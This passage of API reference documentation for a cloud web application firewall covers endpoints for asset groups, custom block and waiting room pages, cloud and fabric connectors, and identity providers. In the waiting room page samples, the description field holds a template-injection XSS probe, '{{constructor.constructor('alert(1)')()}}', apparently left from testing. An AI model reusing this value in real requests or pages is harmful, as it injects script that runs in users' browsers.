"group_uuid": "11a1-2131-3213-12313-1313",
"waf_assets": [["1223432432",
"staging",
"staging.abc.com"
],
["6874542432",
"qa",
"qa.abc.com"
]
]
},
{"admin_users": [["1111",
"user1",
"user1@abc.com"
],
["3333",
"user3",
"user3@abc.com"
]
],
"group_name": "Group 2",
"group_uuid": "22b2-2131-3213-12313-1313",
"waf_assets": [["9961321321",
"dev2",
"dev2.abc.com"
],
["9029792731",
"prod",
"prod.abc.com"
]
]
}
],
"limit": 16,
"total": 2
}

Create Asset Group

Create a new Asset Group with selected WAF assets and administrators.

Each user can own at most 16 Asset Groups.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

{"summary": "Create Asset Group with selected application id and user uuid",
"value": {"admin_users": ["123d1f51-9cea-438d-a87e-932c28c25502",
"83d51f51-9cea-438d-a87e-932c28c12345"
],
"group_name": "my-assets",
"waf_assets": ["0123456789",
"1234567890"
]
}
}

Response samples

200
400

Content type

application/json

{"detail": "Asset group was created."
}

Delete Asset Group

Delete asset group with given uuid.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

{ }

Response samples

200
404

Content type

application/json

{"detail": "Delete asset group is successful."
}

Get Asset Group detail

Get detail of Asset Group.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type

application/json

[{"active": true,
"created_at": 1666348404,
"key_id": "key",
"used_at": "1666348404"
}
]

Update Asset Group

Update asset group with new data.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

{"summary": "Create Asset Group with selected application id and user uuid",
"value": {"admin_users": ["123d1f51-9cea-438d-a87e-932c28c25502",
"83d51f51-9cea-438d-a87e-932c28c12345"
],
"group_name": "my-assets-new-name",
"group_uuid": "ee8bb07d-c110-1234-b10a-88452e7a2365",
"waf_assets": ["0123456789",
"1234567890"
]
}
}

Response samples

200
400

Content type

application/json

{"detail": "Asset group was updated."
}

Settings

This section shows how to configure WAF general settings.

Get WAF Setting Configurations

Get the WAF setting configurations.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type

application/json

{"cr_recipients": "test@example.com",
"cr_status": "disabled",
"platform_option": "enabled",
"preferred_platform": "AWS",
"preferred_region": "us-east-1",
"support_platform_regions": [{"platform": "AWS",
"provider": "Amazon Web Service",
"regions": [{"continent": "NA",
"logical_region": "us-east-1",
"physical_region": "US East (N. Virginia)"
},
{"continent": "NA",
"logical_region": "us-east-2",
"physical_region": "US East (Ohio)"
}
]
}
]
}

Update WAF Setting Configurations

Modify the WAF settings.

A body including all parameters and values in the request that conforms to the following JSON schema:

```json { "type": "object", "required": [], "properties": {} }

After you update the configuration, the API will return successfully.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

No sample

Response samples

200
400

Content type

application/json

{"detail": "WAF setting change success."
}

Delete Custom Block Page Image

Delete a Custom Block Page Image.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

name

required

string

Responses

Response samples

200
400

Content type

application/json

{"message": "Operation is successful"
}

Get Custom Block Page Images list

Get the list of Custom Block Page images, including predefined image.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
500

Content type

application/json

{"data": [{"content": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPMAAAFnCAMAAABEqI...",
"created_at": "11/29/2020 16:17",
"description": "",
"image_type": "png",
"name": "logo_v2_fnet",
"type": "Predefined"
},
{"content": "data:image/png;base64,iVBORw0KGgoAAAANSUh...",
"created_at": "12/23/2020 10:16",
"description": "for test purpose only",
"image_type": "png",
"name": "test_image",
"type": "Custom"
}
],
"total": 2,
"user_perm": "rw"
}

Upload New Custom Block Page Image

Upload Custom Block Page Image in base64 format.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

content	string Image content. maximum size 24KB
description	string Description of image
image_type	string Enum: "png" "gif" "jpg" "tiff" image type
name	string Image name. maximum length is 30

Responses

Request samples

Payload

Content type

application/json

{"content": "data:image/png;base64,VBORw0KGgoAAAANSUhEUgAAAEgAAA...",
"description": "Used for all blocking pages",
"image_type": "png",
"name": "Company_wide_block"
}

Response samples

200
400

Content type

application/json

{"message": "Image '{{image_name}}' was uploaded successfully."
}

Modify existing Custom Block Page Image

Replace a existing Custom Block Page Image content with new image.

Request body schema is same to the one of create.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

content	string Image content. maximum size 24KB
description	string Description of image
image_type	string Enum: "png" "gif" "jpg" "tiff" image type
name	string Image name. maximum length is 30

Responses

Request samples

Payload

Content type

application/json

{"content": "data:image/png;base64,VBORw0KGgoAAAANSUhEUgAAAEgAAA...",
"description": "Used for all blocking pages",
"image_type": "png",
"name": "Company_wide_block"
}

Response samples

200
404

Content type

application/json

{"message": "Image '{{image_name}}' was edited successfully."
}

Delete Custom Block Page Message

Delete a Custom Block Page Message.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

name

required

string

message name. Predefined messages can not be deleted.

Responses

Response samples

200
400

Content type

application/json

{"message": "Custom block page was deleted successfully"
}

Get Custom Block Page Messages List

Get the list of custom block page messages

Includes both predefined messages and customized messages.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
500

Content type

application/json

{"data": [{"description": "Predefined message",
"name": "Predefined",
"type": "Predefined"
},
{"description": "for block request",
"name": "new_page",
"type": "Custom"
},
{"description": "for demo",
"name": "message name",
"type": "Custom"
},
{"description": "for test",
"name": "message 2",
"type": "Custom"
}
],
"limit": 8,
"total": 4,
"user_perm": "rw"
}

Create Custom Block Page Message

Create a Custom Block Page Message.

Each user can create up to 8 customized messages. Images that is available in messages can be viewed by the image list API.A body including all parameters and values in the request that conforms to the following JSON schema:

{
    "type": "object",
    "properties": {
        "name": {
            "description": "The unique name of the Custom Block Message, with number, letter or underscore. Required. Maximum length is 30.",
            "type": "string"
        },
        "description": {
            "description": "The description of Custom Block Message. optional.",
            "type": "string"
        },
        "content": {
            "description": "The type of the Cloud Connector, required.",
            "type": "array",
            "properties": {
                "name": {
                    "description": "name of page, required.",
                    "type": "string",
                    "enum": ["Attack Block Page", "Server Unavailable Page", "Captcha Enforcement Page", "Captcha Block Page"]
                },
                "id": {
                    "description": "Identity of message, required. ",
                    "type": "string",
                    "enum": ["url-block", "server-inaccessible", "captcha-page", "captcha-block"]
                },
                "group": {
                    "description": "Group name. required.",
                    "type": "string",
                    "enum": ["Security", "Captcha"]
                },
                "http_response_code": {
                    "description": "Response code",
                    "type": "number"
                },
                "description": {
                    "description": "optional",
                    "type": "string"
                },
                "msg": {
                    "description": "Content of message detail, in HTML format. required.",
                    "type": "string",
                }
            }
        }
    }
}

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

content	Array of objects (SingleJsonObject) In this array, there are 4 fixed items which name, group and http code are not editable
description	string maximum length 256
name	string message name. maximum length 30
type	string Enum values: predefined, custom

Responses

Request samples

Payload

Content type
application/json

{"content": [{"description": "Replacement HTML for Attack Block Page", "group": "Security", "http_response_code": 500, "id": "url-block", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Attack Block Page" }, {"description": "Replacement HTML for Server Unavailable Page", "group": "Security", "http_response_code": 503, "id": "server-inaccessible", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Server Unavailable Page" }, {"description": "Replacement HTML for Captcha Enforcement Page", "group": "Captcha", "http_response_code": 200, "id": "captcha-page", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Captcha Enforcement Page" }, {"description": "Replacement HTML for Captcha Block Page", "group": "Captcha", "http_response_code": 200, "id": "captcha-block", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Captcha Block Page" } ], "description": "for test", "name": "new_page", "type": "Custom" }

Response samples

200
400

Content type
application/json

{"message": "Custom block page was created successfully." }

Modify Custom Block Page Message

Modify content of a Custom Block Message. Name is not editable.

Request body schema is same to the one of Creating Custom Block Page.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

content	Array of objects (SingleJsonObject) In this array, there are 4 fixed items which name, group and http code are not editable
description	string maximum length 256
name	string message name. maximum length 30
type	string Enum values: predefined, custom

Responses

Request samples

Payload

Content type
application/json

{"content": [{"description": "Replacement HTML for Attack Block Page", "group": "Security", "http_response_code": 500, "id": "url-block", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Attack Block Page" }, {"description": "Replacement HTML for Server Unavailable Page", "group": "Security", "http_response_code": 503, "id": "server-inaccessible", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Server Unavailable Page" }, {"description": "Replacement HTML for Captcha Enforcement Page", "group": "Captcha", "http_response_code": 200, "id": "captcha-page", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Captcha Enforcement Page" }, {"description": "Replacement HTML for Captcha Block Page", "group": "Captcha", "http_response_code": 200, "id": "captcha-block", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Captcha Block Page" } ], "description": "for test", "name": "new_page", "type": "Custom" }

Response samples

200
400

Content type
application/json

{"message": "Custom block page was updated successfully." }

Clone Custom Block Page Message

Create a custom block page message from existing one

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

from_name	string cloned from this message
to_name	string new message name

Responses

Request samples

Payload

Content type
application/json

{"from_name": "Existing message name that is to be cloned", "to_name": "new message name" }

Response samples

200
400

Content type
application/json

{"message": "Operation is successful" }

Get Custom Block Page Message Detail

Get the detailed information of Custom Block Page Message.

Response includes HTML content.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

message_name

required

string

Responses

Response samples

200
400
404

Content type
application/json

{"content": [{"description": "Replacement HTML for Attack Block Page", "group": "Security", "http_response_code": 500, "id": "url-block", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Attack Block Page" }, {"description": "Replacement HTML for Server Unavailable Page", "group": "Security", "http_response_code": 503, "id": "server-inaccessible", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Server Unavailable Page" }, {"description": "Replacement HTML for Captcha Enforcement Page", "group": "Captcha", "http_response_code": 200, "id": "captcha-page", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Captcha Enforcement Page" }, {"description": "Replacement HTML for Captcha Block Page", "group": "Captcha", "http_response_code": 200, "id": "captcha-block", "msg": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HT><body>...</body></html>", "name": "Captcha Block Page" } ], "description": "Block and display error", "name": "new_block_url", "type": "Custom" }

Delete Cloud Connector

Delete a Cloud Connector.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

name

required

string

connector name

Responses

Response samples

200
400

Content type
application/json

{"detail": "Delete Cloud Connector successfully." }

Get Cloud Connectors List

Get list of the configuration information of Cloud Connectors.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type
application/json

{"connectors": [{"access_key_id": "key example", "aws_secret_access_key": "access key example", "have_vpc_id": "disable", "name": "aws cloud connector", "region": "us-east-1", "status": "enable", "type": "aws" }, {"client_id": "client UUID", "client_secret": "client key", "have_resource_group": "enable", "have_resource_path": "enable", "name": "azure cloud connector", "resource_group": "resource group name", "server_region": "global", "status": "enable", "subscription_id": "subscription UUID", "tenant_id": "user UUID ", "type": "azure" }, {"name": "gcp cloud connector", "private_key": "user key", "project_id": "project name", "service_account_email": "account email", "status": "enable", "type": "gcp", "zone": "us-central1-a" } ], "total": "3", "user_perm": "rw" }

Create New Cloud Connector

Create a Cloud Connector.

A body including all parameters and values in the request that conforms to the following JSON schema:

{ "type": "object", "properties": { "name": { "description": "The unique name of the Cloud Connector, required.", "type": "string" }, "status": { "description": "The status of the Cloud Connector, required.", "type": "string", "enum": ["disable", "enable"] }, "type": { "description": "The type of the Cloud Connector, required.", "type": "string", "enum": ["aws", "azure", "gcp"] }, "region": { "description": "The region of the AWS Account, required if 'type': 'aws'.", "type": "string" }, "access_key_id": { "description": "The Access Key ID of the AWS Account, required if 'type': 'aws'.", "type": "string" }, "aws_secret_access_key": { "description": "The Secret Access Key of the AWS Account, required if 'type': 'aws'.", "type": "string" }, "have_vpc_id": { "description": "Whether to specify VPC ID, required if 'type': 'aws'.", "type": "string", "enum": ["disable", "enable"] }, "vpc_id": { "description": "The VPC ID of the AWS Account, required if 'type': 'aws' and 'have_vpc_id': 'enable'.", "type": "string" }, "server_region": { "description": "The region of the Azure Account, required if 'type': 'azure'.", "type": "string", "enum": ["global", "china", "germany", "us_gov"] }, "tenant_id": { "description": "The Tenant ID of the Azure Account, required if 'type': 'azure'.", "type": "string" }, "client_id": { "description": "The Client ID of the Azure Account, required if 'type': 'azure'.", "type": "string" }, "client_secret": { "description": "The Client Secret of the Azure Account, required if 'type': 'azure'.", "type": "string" }, "have_resource_path": { "description": "Whether to specify Subscription ID, required if 'type': 'azure'.", "type": "string", "enum": ["disable", "enable"] }, "subscription_id": { "description": "The Subscription ID of the Azure Account, required if 'type': 'azure' and 'have_resource_path': 'enable'.", "type": "string" }, "have_resource_group": { "description": "Whether to specify Resource Group, required if 'type': 'azure' and 'have_resource_path': 'enable'.", "type": "string", "enum": ["disable", "enable"] }, "resource_group": { "description": "The Resource Group of the Azure Account, required if 'type': 'azure' and 'have_resource_path': 'enable' and 'have_resource_group': 'enable'.", "type": "string" }, "project_id": { "description": "The Project ID of the GCP Account, required if 'type': 'gcp'.", "type": "string" }, "service_account_email": { "description": "The Service Account E-Mail of the GCP Account, required if 'type': 'gcp'.", "type": "string" }, "private_key": { "description": "The Private Key of the GCP Account, required if 'type': 'gcp'.", "type": "string" }, "zone": { "description": "The Zone of the GCP Account, required if 'type': 'gcp'.", "type": "string" } } }

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Example Request:

AWS Request Body

{ "name": "aws_connector_1", "status": "enable", "type": "aws", "region": "ap-southeast-1", "access_key_id": "XXXXXXXXXXXXXXXXXXXX", "aws_secret_access_key": "*", "have_vpc_id": "enable", "vpc_id": "vpc-0a268fa6b745cfb3a" }

GCP Request Body

{ "name": "gcp_connector_1", "status": "enable", "type": "gcp", "project_id": "project-001", "service_account_email": "test@project-001.iam.gserviceaccount.com", "private_key": "*", "zone": "us-west1-a" }

Azure Request Body

{ "name": "azure_connector_1", "status": "enable", "type": "azure", "server_region": "global", "tenant_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "client_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "client_secret": "*", "have_resource_path": "enable", "subscription_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "have_resource_group": "enable", "resource_group": "cldwafCluster_koreacentral_4" }

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{ }

Response samples

200
400

Content type
application/json

Example
AWS Success

{"detail": "Create Cloud Connector successfully." }

Update Cloud Connector

Modify the Cloud Connector's configuration.

A body including all parameters and values in the request that conforms to the following JSON schema:

{ "type": "object", "properties": { "name": { "description": "The unique name of the Cloud Connector, required.", "type": "string" }, "status": { "description": "The status of the Cloud Connector, required.", "type": "string", "enum": ["disable", "enable"] }, "type": { "description": "The type of the Cloud Connector, required.", "type": "string", "enum": ["aws", "azure", "gcp"] }, "region": { "description": "The region of the AWS Account, required if 'type': 'aws'.", "type": "string" }, "access_key_id": { "description": "The Access Key ID of the AWS Account, required if 'type': 'aws'.", "type": "string" }, "aws_secret_access_key": { "description": "The Secret Access Key of the AWS Account, required if 'type': 'aws'.", "type": "string" }, "have_vpc_id": { "description": "Whether to specify VPC ID, required if 'type': 'aws'.", "type": "string", "enum": ["disable", "enable"] }, "vpc_id": { "description": "The VPC ID of the AWS Account, required if 'type': 'aws' and 'have_vpc_id': 'enable'.", "type": "string" }, "server_region": { "description": "The region of the Azure Account, required if 'type': 'azure'.", "type": "string", "enum": ["global", "china", "germany", "us_gov"] }, "tenant_id": { "description": "The Tenant ID of the Azure Account, required if 'type': 'azure'.", "type": "string" }, "client_id": { "description": "The Client ID of the Azure Account, required if 'type': 'azure'.", "type": "string" }, "client_secret": { "description": "The Client Secret of the Azure Account, required if 'type': 'azure'.", "type": "string" }, "have_resource_path": { "description": "Whether to specify Subscription ID, required if 'type': 'azure'.", "type": "string", "enum": ["disable", "enable"] }, "subscription_id": { "description": "The Subscription ID of the Azure Account, required if 'type': 'azure' and 'have_resource_path': 'enable'.", "type": "string" }, "have_resource_group": { "description": "Whether to specify Resource Group, required if 'type': 'azure' and 'have_resource_path': 'enable'.", "type": "string", "enum": ["disable", "enable"] }, "resource_group": { "description": "The Resource Group of the Azure Account, required if 'type': 'azure' and 'have_resource_path': 'enable' and 'have_resource_group': 'enable'.", "type": "string" }, "project_id": { "description": "The Project ID of the GCP Account, required if 'type': 'gcp'.", "type": "string" }, "service_account_email": { "description": "The Service Account E-Mail of the GCP Account, required if 'type': 'gcp'.", "type": "string" }, "private_key": { "description": "The Private Key of the GCP Account, required if 'type': 'gcp'.", "type": "string" }, "zone": { "description": "The Zone of the GCP Account, required if 'type': 'gcp'.", "type": "string" } } }

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Example Request:

AWS Request Body

{ "name": "aws_connector_1", "status": "enable", "type": "aws", "region": "ap-southeast-1", "access_key_id": "XXXXXXXXXXXXXXXXXXXX", "aws_secret_access_key": "*", "have_vpc_id": "enable", "vpc_id": "vpc-0a268fa6b745cfb3a" }

GCP Request Body

{ "name": "gcp_connector_1", "status": "enable", "type": "gcp", "project_id": "project-001", "service_account_email": "test@project-001.iam.gserviceaccount.com", "private_key": "*", "zone": "us-west1-a" }

Azure Request Body

{ "name": "azure_connector_1", "status": "enable", "type": "azure", "server_region": "global", "tenant_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "client_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "client_secret": "*", "have_resource_path": "enable", "subscription_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "have_resource_group": "enable", "resource_group": "cldwafCluster_koreacentral_4" }

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{ }

Response samples

200
400

Content type
application/json

Example
Azure Success

{"detail": "Update Cloud Connector successfully." }

Get Filter Options List of a Selected Connector

Used in Origin Servers page. Get the filter options list of a specific cloud connector.

Authorizations:

ApiRequestAuthorizer

query Parameters

cloud_connector

required

string

connector name

Responses

Response samples

400

Content type
application/json

{"detail": "Invalid request." }

Get Public IP List of a Selected Resource

Used on Origin Servers page. Retrieve the public IP addresses list of a selected cloud resource.

A body including resource detail with JSON schema:

json {"cloud_connector":"name","filter":[{"Name":"tag:Name","Values":["filter value"]}]}

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{"cloud_connector": "connector name", "filter": [{"Name": "tag:Name", "Values": ["filter_name_value" ] } ] }

Response samples

200
400

Content type
application/json

{"public_ip": ["1.2.3.4", "2.3.4.4" ], "total": 2 }

Test Cloud Connector Connection

Test the Connector whether its connection can be established.

A body including all parameters and values in the request that conforms to the following JSON schema:

{ "type": "object", "properties": { "type": { "description": "The type of the Cloud Connector, required.", "type": "string", "enum": ["aws", "azure", "gcp"] }, "is_encrypted": { "description": "Whether it('aws_secret_access_key', 'client_secret', 'private_key') is encrypted or plain text, required.", "type": "string", "enum": ["true", "false"] }, "region": { "description": "The region of the AWS Account, required on 'type': 'aws'.", "type": "string" }, "access_key_id": { "description": "The Access Key ID of the AWS Account, required on 'type': 'aws'.", "type": "string" }, "aws_secret_access_key": { "description": "The Secret Access Key of the AWS Account, required on 'type': 'aws'.", "type": "string" }, "have_vpc_id": { "description": "Whether to specify VPC ID, required on 'type': 'aws'.", "type": "string", "enum": ["disable", "enable"] }, "vpc_id": { "description": "The VPC ID of the AWS Account, required on 'type': 'aws' and 'have_vpc_id': 'enable'.", "type": "string" }, "server_region": { "description": "The region of the Azure Account, required on 'type': 'azure'.", "type": "string", "enum": ["global", "china", "germany", "us_gov"] }, "tenant_id": { "description": "The Tenant ID of the Azure Account, required on 'type': 'azure'.", "type": "string" }, "client_id": { "description": "The Client ID of the Azure Account, required on 'type': 'azure'.", "type": "string" }, "client_secret": { "description": "The Client Secret of the Azure Account, required on 'type': 'azure'.", "type": "string" }, "have_resource_path": { "description": "Whether to specify Subscription ID, required on 'type': 'azure'.", "type": "string", "enum": ["disable", "enable"] }, "subscription_id": { "description": "The Subscription ID of the Azure Account, required on 'type': 'azure' and 'have_resource_path': 'enable'.", "type": "string" }, "have_resource_group": { "description": "Whether to specify Resource Group, required on 'type': 'azure' and 'have_resource_path': 'enable'.", "type": "string", "enum": ["disable", "enable"] }, "resource_group": { "description": "The Resource Group of the Azure Account, required on 'type': 'azure' and 'have_resource_path': 'enable' and 'have_resource_group': 'enable'.", "type": "string" }, "project_id": { "description": "The Project ID of the GCP Account, required on 'type': 'gcp'.", "type": "string" }, "service_account_email": { "description": "The Service Account E-Mail of the GCP Account, required on 'type': 'gcp'.", "type": "string" }, "private_key": { "description": "The Private Key of the GCP Account, required on 'type': 'gcp'.", "type": "string" }, "zone": { "description": "The Zone of the GCP Account, required on 'type': 'gcp'.", "type": "string" } } }

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Example Request:

AWS Request Body

{ "type": "aws", "region": "ap-southeast-1", "access_key_id": "XXXXXXXXXXXXXXXXXXXX", "is_encrypted": "false", "aws_secret_access_key": "*", "have_vpc_id": "enable", "vpc_id": "vpc-04168fa6b745cfb3a" }

GCP Request Body

{ "type": "gcp", "project_id": "project-001", "service_account_email": "test@project-001.iam.gserviceaccount.com", "is_encrypted": "false", "private_key": "*", "zone": "us-west1-a" }

Azure Request Body

{ "type": "azure", "server_region": "global", "tenant_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "client_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "is_encrypted": "false", "client_secret": "*", "have_resource_path": "enable", "subscription_id": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "have_resource_group": "enable", "resource_group": "cldwafCluster_koreacentral_4" }

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{ }

Response samples

200
400

Content type
application/json

Example
AWS Success

{"detail": "Connect the Cloud Connector successfully." }

Get fabric connector status list

Get fabric connector status list

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type
application/json

[{"connection_status": "authorized", "ip": "1.2.3.4", "msg": "Authorized", "port": "8013", "status": true } ]

Set fabric connection to FGT

Set fabric connection to FGT. Each user can create at most one connection.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

ip	string FGT IP
port	string FGT port

Responses

Request samples

Payload

Content type
application/json

{"ip": "string", "port": "string" }

Response samples

201
400

Content type
application/json

{"message": "Success" }

Delete fabric connector

Delete selected fabric connector. Path parameter ip should be in the format of 1_2_3_4

Authorizations:

ApiRequestAuthorizer

path Parameters

ip

required

string

Responses

Response samples

200
400

Content type
application/json

{"message": "Success" }

Activate/Deactivate Fabric Connector

Change the status of selected Fabric connector to active or inactive. Path parameter ip should be in the format of 1_2_3_4

Authorizations:

ApiRequestAuthorizer

path Parameters

ip

required

string

Request Body schema: application/json

status

boolean

true to enable the connection

Responses

Request samples

Payload

Content type
application/json

{"status": false }

Response samples

200
400

Content type
application/json

{"message": "Success" }

List Identity Providers

List all identity providers for the authenticated user.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type
application/json

{"data": [{"entity_id": "https://www.okta.com/exk123abc", "name": "Okta Corporate", "slo_url": "https://acme.okta.com/app/slo", "sso_url": "https://acme.okta.com/app/sso/saml", "type": "manual", "user_id": "303e3b21-7664-444a-a2a6-c3fa4072f1b7", "x509_cert": "MIIDpDCCAoygAwIBAgIGAX0b..." } ], "limit": 8, "total": 1, "user_perm": "rw" }

Create Identity Provider

Create a new identity provider for the authenticated user.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

entity_id	string Entity ID
name	string Identity provider name
slo_url	string SLO URL
sso_url	string SSO URL
type	string Identity provider type: manual or upload
x509_cert	string X509 certificate

Responses

Request samples

Payload

Content type
application/json

{"entity_id": "https://www.okta.com/exk123abc", "name": "Okta Corporate", "slo_url": "https://acme.okta.com/app/slo", "sso_url": "https://acme.okta.com/app/sso/saml", "type": "manual", "user_id": "303e3b21-7664-444a-a2a6-c3fa4072f1b7", "x509_cert": "MIIDpDCCAoygAwIBAgIGAX0b..." }

Response samples

201
400

Content type
application/json

{"message": "Identity provider was created successfully." }

Delete Identity Provider

Delete an identity provider for the authenticated user.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

idp_name

required

string

Example: {{idp_name}}

The identity provider name.

Responses

Response samples

200
400

Content type
application/json

{"message": "Identity provider was deleted successfully." }

Update Identity Provider

Update an existing identity provider for the authenticated user.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

idp_name

required

string

Example: {{idp_name}}

The identity provider name.

Request Body schema: application/json

entity_id	string Entity ID
name	string Identity provider name
slo_url	string SLO URL
sso_url	string SSO URL
type	string Identity provider type: manual or upload
x509_cert	string X509 certificate

Responses

Request samples

Payload

Content type
application/json

{"entity_id": "https://www.okta.com/exk123abc", "name": "Okta Corporate Updated", "slo_url": "https://acme.okta.com/app/slo", "sso_url": "https://acme.okta.com/app/sso/saml", "type": "manual", "user_id": "303e3b21-7664-444a-a2a6-c3fa4072f1b7", "x509_cert": "MIIDpDCCAoygAwIBAgIGAX0b..." }

Response samples

200
400

Content type
application/json

{"message": "Identity provider was updated successfully." }

Get SOCaaS status

Get status of SOCaaS.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type
application/json

{ }

Delete Custom Waiting Room Page

Delete a Custom Waiting Room Page.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

name

required

string

page name. Predefined pages can not be deleted.

Responses

Response samples

200
400

Content type
application/json

{"message": "Custom waiting room page was deleted successfully" }

Get Custom Waiting Room Pages List

Get the list of custom waiting room pages

Includes both predefined pages and customized pages.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
500

Content type
application/json

{"data": [{"description": "Predefined page", "name": "PredefinedMsg", "type": "Predefined" }, {"description": "{{constructor.constructor('alert(1)')()}}aaa", "name": "11", "type": "Custom" }, {"description": "test", "name": "244p1_template", "type": "Custom" } ], "limit": 10, "total": 3, "user_perm": "rw" }

Create Custom Waiting Room Page

Create a Custom Waiting Room Page.

Each user can create up to 10 customized waiting room pages. Images that is available in pages can be viewed by the image list API.A body including all parameters and values in the request that conforms to the following JSON schema:

{ "type": "object", "properties": { "name": { "description": "The unique name of the Custom Waiting Room Page, with number, letter or underscore. Required. Maximum length is 30.", "type": "string" }, "description": { "description": "The description of Custom Waiting Room Page. optional.", "type": "string" }, "page_content": { "description": "The HTML content of the waiting room page.", "type": "string" } } }

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

description	string maximum length 256
name	string waiting room page name. maximum length 30
page_content	string HTML content of the waiting room page
type	string Enum values: predefined, custom

Responses

Request samples

Payload

Content type
application/json

{"description": "{{constructor.constructor('alert(1)')()}}aaa", "name": "11", "page_content": "...some HTML/CSS <!DOCTYPE html PUBLIC \"...", "type": "Custom" }

Response samples

200
400

Content type
application/json

{"message": "Custom waiting room page was created successfully." }

Modify Custom Waiting Room Page

Modify content of a Custom Waiting Room Page. Name is not editable.

Request body schema is same to the one of Creating Custom Waiting Room Page.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

description	string maximum length 256
name	string waiting room page name. maximum length 30
page_content	string HTML content of the waiting room page
